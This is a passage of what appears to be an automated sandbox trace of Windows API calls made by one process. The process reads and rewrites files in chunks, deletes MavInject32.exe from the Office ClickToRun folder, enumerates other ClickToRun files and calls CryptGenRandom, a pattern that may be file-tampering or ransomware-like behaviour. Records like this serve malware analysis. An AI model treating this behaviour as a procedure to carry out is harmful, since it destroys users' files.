lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0118.194] GetLastError () returned 0x0 [0118.194] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.194] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.195] GetLastError () returned 0x0 [0118.195] GetCurrentThreadId () returned 0x9b0 [0118.195] GetLastError () returned 0x0 [0118.195] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.195] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.196] GetLastError () returned 0x0 [0118.196] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.196] GetLastError () returned 0x0 [0118.196] GetCurrentThreadId () returned 0x9b0 [0118.197] GetLastError () returned 0x0 [0118.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653f8 [0118.197] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265348 | out: hHeap=0x2ad0000) returned 1 [0118.197] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x35c5908 [0118.197] GetCurrentThreadId () returned 0x9b0 [0118.197] GetLastError () returned 0x0 [0118.197] GetLastError () returned 0x0 [0118.198] GetLastError () returned 0x0 [0118.198] GetLastError () returned 0x0 [0118.198] GetCurrentThreadId () returned 0x9b0 [0118.198] GetLastError () returned 0x0 [0118.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.198] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881240 [0118.198] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0118.198] GetLastError () returned 0x0 [0118.198] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.199] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.200] GetLastError () returned 0x0 [0118.200] GetCurrentThreadId () returned 0x9b0 [0118.200] GetLastError () returned 0x0 [0118.200] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.200] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.200] GetLastError () returned 0x0 [0118.200] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x10000, lpOverlapped=0x0) returned 1 [0118.200] GetLastError () returned 0x0 [0118.201] GetCurrentThreadId () returned 0x9b0 [0118.201] GetLastError () returned 0x0 [0118.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x32653b8 [0118.201] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653f8 | out: hHeap=0x2ad0000) returned 1 [0118.201] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0118.201] GetCurrentThreadId () returned 0x9b0 [0118.201] GetLastError () returned 0x0 [0118.201] GetLastError () returned 0x0 [0118.202] GetLastError () returned 0x0 [0118.202] GetLastError () returned 0x0 [0118.202] GetCurrentThreadId () returned 0x9b0 [0118.202] GetLastError () returned 0x0 [0118.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.202] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0118.202] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0118.202] GetLastError () returned 0x0 [0118.202] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.203] WriteFile (in: hFile=0x3ac, lpBuffer=0x37c0784*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x37c0784*, lpNumberOfBytesWritten=0x9b9a80*=0xf000, lpOverlapped=0x0) returned 1 [0118.204] GetLastError () returned 0x0 [0118.204] GetCurrentThreadId () returned 0x9b0 [0118.205] GetLastError () returned 0x0 [0118.205] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0118.205] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0118.205] GetLastError () returned 0x0 [0118.205] ReadFile (in: hFile=0x39c, lpBuffer=0x36f855c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36f855c*, lpNumberOfBytesRead=0x9bb520*=0x78d8, lpOverlapped=0x0) returned 1 [0118.205] ReadFile (in: hFile=0x39c, lpBuffer=0x36ffe34, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x36ffe34*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.205] GetLastError () returned 0x0 [0118.205] GetCurrentThreadId () returned 0x9b0 [0118.205] GetLastError () returned 0x0 [0118.205] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x78ed) returned 0x36f8548 [0118.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.206] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x36f8548, Size=0x78f5) returned 0x36f8548 [0118.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265448 [0118.206] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653b8 | out: hHeap=0x2ad0000) returned 1 [0118.206] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x78f8) returned 0x35bb9e8 [0118.206] GetCurrentThreadId () returned 0x9b0 [0118.206] GetLastError () returned 0x0 [0118.206] GetLastError () returned 0x0 [0118.206] GetLastError () returned 0x0 [0118.206] GetLastError () returned 0x0 [0118.206] GetCurrentThreadId () returned 0x9b0 [0118.207] GetLastError () returned 0x0 [0118.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35bb9e8 | out: hHeap=0x2ad0000) returned 1 [0118.207] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0118.207] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0118.207] GetLastError () returned 0x0 [0118.207] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x9b9a68, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a68*=0x1000, lpOverlapped=0x0) returned 1 [0118.207] WriteFile (in: hFile=0x3ac, lpBuffer=0x3700e3c*, nNumberOfBytesToWrite=0x6000, lpNumberOfBytesWritten=0x9b9a80, lpOverlapped=0x0 | out: lpBuffer=0x3700e3c*, lpNumberOfBytesWritten=0x9b9a80*=0x6000, lpOverlapped=0x0) returned 1 [0118.208] GetLastError () returned 0x0 [0118.208] GetCurrentThreadId () returned 0x9b0 [0118.208] GetLastError () returned 0x0 [0118.208] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36ffe48 | out: hHeap=0x2ad0000) returned 1 [0118.208] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x35c5908 [0118.208] GetLastError () returned 0x0 [0118.208] ReadFile (in: hFile=0x39c, lpBuffer=0x35c591c, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x9bb520, lpOverlapped=0x0 | out: lpBuffer=0x35c591c*, lpNumberOfBytesRead=0x9bb520*=0x0, lpOverlapped=0x0) returned 1 [0118.208] GetLastError () returned 0x0 [0118.209] GetCurrentThreadId () returned 0x9b0 [0118.209] GetLastError () returned 0x0 [0118.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0118.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0118.209] GetLastError () returned 0x0 [0118.209] WriteFile (in: hFile=0x3ac, lpBuffer=0x2cc74f0*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x9b9a0c, lpOverlapped=0x0 | out: lpBuffer=0x2cc74f0*, lpNumberOfBytesWritten=0x9b9a0c*=0x900, lpOverlapped=0x0) returned 1 [0118.209] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0118.209] CloseHandle (hObject=0x3ac) returned 1 [0118.210] GetLastError () returned 0x0 [0118.210] GetCurrentThreadId () returned 0x9b0 [0118.210] GetLastError () returned 0x0 [0118.210] GetLastError () returned 0x0 [0118.210] CloseHandle (hObject=0x39c) returned 1 [0118.210] GetLastError () returned 0x0 [0118.210] GetCurrentThreadId () returned 0x9b0 [0118.210] GetLastError () returned 0x0 [0118.210] GetLastError () returned 0x0 [0118.210] GetLastError () returned 0x0 [0118.211] GetLastError () returned 0x0 [0118.211] GetLastError () returned 0x0 [0118.211] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\MavInject32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mavinject32.exe")) returned 1 [0118.214] GetLastError () returned 0x0 [0118.214] GetCurrentThreadId () returned 0x9b0 [0118.214] GetLastError () returned 0x0 [0118.214] GetCurrentThreadId () returned 0x9b0 [0118.215] GetLastError () returned 0x0 [0118.215] GetLastError () returned 0x0 [0118.215] GetLastError () returned 0x0 [0118.215] GetLastError () returned 0x0 [0118.215] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll", lpFilePart=0x9bada4*="mso20win32client.dll") returned 0x4e [0118.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0118.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0118.215] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0118.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0118.215] GetCurrentThreadId () returned 0x9b0 [0118.215] GetLastError () returned 0x0 [0118.216] GetLastError () returned 0x0 [0118.216] GetLastError () returned 0x0 [0118.216] GetLastError () returned 0x0 [0118.216] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll", lpFilePart=0x9bada4*="mso30win32client.dll") returned 0x4e [0118.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f70 [0118.216] GetCurrentThreadId () returned 0x9b0 [0118.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f70 | out: hHeap=0x2ad0000) returned 1 [0118.216] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0118.216] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0118.216] GetLastError () returned 0x0 [0118.216] GetLastError () returned 0x0 [0118.217] GetLastError () returned 0x0 [0118.217] GetLastError () returned 0x0 [0118.217] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll", lpFilePart=0x9bada4*="mso40uires.dll") returned 0x48 [0118.217] GetCurrentThreadId () returned 0x9b0 [0118.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e20 [0118.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e20 | out: hHeap=0x2ad0000) returned 1 [0118.217] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0118.217] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0118.217] GetCurrentThreadId () returned 0x9b0 [0118.217] GetLastError () returned 0x0 [0118.217] GetLastError () returned 0x0 [0118.217] GetLastError () returned 0x0 [0118.218] GetLastError () returned 0x0 [0118.218] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll", lpFilePart=0x9bada4*="mso40uiwin32client.dll") returned 0x50 [0118.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0118.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0118.218] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0118.218] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0118.218] GetCurrentThreadId () returned 0x9b0 [0118.218] GetLastError () returned 0x0 [0118.218] GetLastError () returned 0x0 [0118.218] GetLastError () returned 0x0 [0118.218] GetLastError () returned 0x0 [0118.219] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msointl30.en-us.dll", lpFilePart=0x9bada4*="msointl30.en-us.dll") returned 0x4d [0118.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0118.219] GetCurrentThreadId () returned 0x9b0 [0118.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0118.219] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0118.219] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0118.219] GetLastError () returned 0x0 [0118.220] GetLastError () returned 0x0 [0118.220] GetLastError () returned 0x0 [0118.220] GetLastError () returned 0x0 [0118.220] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll", lpFilePart=0x9bada4*="msvcp120.dll") returned 0x46 [0118.220] GetCurrentThreadId () returned 0x9b0 [0118.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0118.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0118.220] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0118.220] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0118.220] GetCurrentThreadId () returned 0x9b0 [0118.220] GetLastError () returned 0x0 [0118.221] GetLastError () returned 0x0 [0118.221] GetLastError () returned 0x0 [0118.221] GetLastError () returned 0x0 [0118.221] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll", lpFilePart=0x9bada4*="msvcp140.dll") returned 0x46 [0118.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262de8 [0118.221] GetCurrentThreadId () returned 0x9b0 [0118.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262de8 | out: hHeap=0x2ad0000) returned 1 [0118.221] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e90 [0118.221] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e90 | out: hHeap=0x2ad0000) returned 1 [0118.221] GetLastError () returned 0x0 [0118.221] GetLastError () returned 0x0 [0118.221] GetLastError () returned 0x0 [0118.222] GetLastError () returned 0x0 [0118.222] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll", lpFilePart=0x9bada4*="msvcr120.dll") returned 0x46 [0118.222] GetCurrentThreadId () returned 0x9b0 [0118.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0118.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0118.222] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0118.222] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0118.222] GetCurrentThreadId () returned 0x9b0 [0118.222] GetLastError () returned 0x0 [0118.222] GetLastError () returned 0x0 [0118.222] GetLastError () returned 0x0 [0118.223] GetLastError () returned 0x0 [0118.223] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe", lpFilePart=0x9bada4*="OfficeC2RClient.exe") returned 0x4d [0118.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0118.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0118.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0118.223] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0118.223] GetCurrentThreadId () returned 0x9b0 [0118.223] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4d0 [0118.223] GetLastError () returned 0x0 [0118.223] GetLastError () returned 0x0 [0118.223] GetLastError () returned 0x0 [0118.224] GetLastError () returned 0x0 [0118.224] GetCurrentThreadId () returned 0x9b0 [0118.224] GetLastError () returned 0x0 [0118.224] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4d0 | out: hHeap=0x2ad0000) returned 1 [0118.224] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea0c0 [0118.224] GetLastError () returned 0x0 [0118.224] GetLastError () returned 0x0 [0118.224] GetLastError () returned 0x0 [0118.224] GetLastError () returned 0x0 [0118.224] GetCurrentThreadId () returned 0x9b0 [0118.224] GetLastError () returned 0x0 [0118.225] GetCurrentThreadId () returned 0x9b0 [0118.225] GetLastError () returned 0x0 [0118.225] GetLastError () returned 0x0 [0118.225] GetLastError () returned 0x0 [0118.225] GetLastError () returned 0x0 [0118.225] GetCurrentThreadId () returned 0x9b0 [0118.225] GetLastError () returned 0x0 [0118.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea0c0 | out: hHeap=0x2ad0000) returned 1 [0118.225] GetLastError () returned 0x0 [0118.225] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0118.225] GetLastError () returned 0x0 [0118.226] GetLastError () returned 0x0 [0118.226] GetLastError () returned 0x0 [0118.226] GetCurrentThreadId () returned 0x9b0 [0118.226] GetLastError () returned 0x0 [0118.226] GetLastError () returned 0x0 [0118.226] GetLastError () returned 0x0 [0118.226] GetLastError () returned 0x0 [0118.226] GetLastError () returned 0x0 [0118.226] GetCurrentThreadId () returned 0x9b0 [0118.226] GetLastError () returned 0x0 [0118.226] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7a8 | out: hHeap=0x2ad0000) returned 1 [0118.227] GetLastError () returned 0x0 [0118.227] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0118.227] GetLastError () returned 0x0 [0118.227] GetLastError () returned 0x0 [0118.227] GetLastError () returned 0x0 [0118.227] GetCurrentThreadId () returned 0x9b0 [0118.227] GetLastError () returned 0x0 [0118.227] GetCurrentThreadId () returned 0x9b0 [0118.227] GetLastError () returned 0x0 [0118.227] GetLastError () returned 0x0 [0118.227] GetLastError () returned 0x0 [0118.227] GetLastError () returned 0x0 [0118.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0118.228] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80cbb8b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x80cbb8b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xb7179d00, ftLastWriteTime.dwHighDateTime=0x1d0d7a8, nFileSizeHigh=0x0, nFileSizeLow=0x5b1068)) returned 1 [0118.228] GetLastError () returned 0x0 [0118.228] GetCurrentThreadId () returned 0x9b0 [0118.228] GetLastError () returned 0x0 [0118.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2778 | out: hHeap=0x2ad0000) returned 1 [0118.228] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a714 | out: pbBuffer=0x366a714) returned 1 [0118.228] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622688 | out: hHeap=0x2ad0000) returned 1 [0118.228] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea4d0 [0118.229] GetCurrentThreadId () returned 0x9b0 [0118.229] GetLastError () returned 0x0 [0118.229] GetLastError () returned 0x0 [0118.229] GetLastError () returned 0x0 [0118.229] GetLastError () returned 0x0 [0118.229] GetCurrentThreadId () returned 0x9b0 [0118.229] GetLastError () returned 0x0 [0118.229] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea4d0 | out: hHeap=0x2ad0000) returned 1 [0118.229] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33ea2a0 [0118.229] GetLastError () returned 0x0 [0118.230] GetLastError () returned 0x0 [0118.230] GetLastError () returned 0x0 [0118.230] GetLastError () returned 0x0 [0118.230] GetCurrentThreadId () returned 0x9b0 [0118.230] GetLastError () returned 0x0 [0118.230] GetCurrentThreadId () returned 0x9b0 [0118.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33ea2a0 | out: hHeap=0x2ad0000) returned 1 [0118.230] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0118.230] GetLastError () returned 0x0 [0118.230] GetLastError () returned 0x0 [0118.230] GetLastError () returned 0x0 [0118.230] GetLastError () returned 0x0 [0118.231] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0118.231] GetLastError () returned 0x0 [0118.231] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeC2RClient.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officec2rclient.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0118.231] GetFileType (hFile=0x39c) returned 0x1 [0118.231] GetLastError () returned 0x0 [0118.231] GetCurrentThreadId () returned 0x9b0 [0118.231] GetLastError () returned 0x0 [0118.231] GetFileType (hFile=0x39c) returned 0x1 [0118.232] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0118.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.232] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0118.232] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0118.232] GetLastError () returned 0x0 [0118.232] GetCurrentThreadId () returned 0x9b0 [0118.232] GetLastError () returned 0x0 [0118.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265418 | out: hHeap=0x2ad0000) returned 1 [0118.232] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a2880 | out: hHeap=0x2ad0000) returned 1 [0118.232] GetLastError () returned 0x0 [0118.233] GetLastError () returned 0x0 [0118.233] GetLastError () returned 0x0 [0118.233] GetLastError () returned 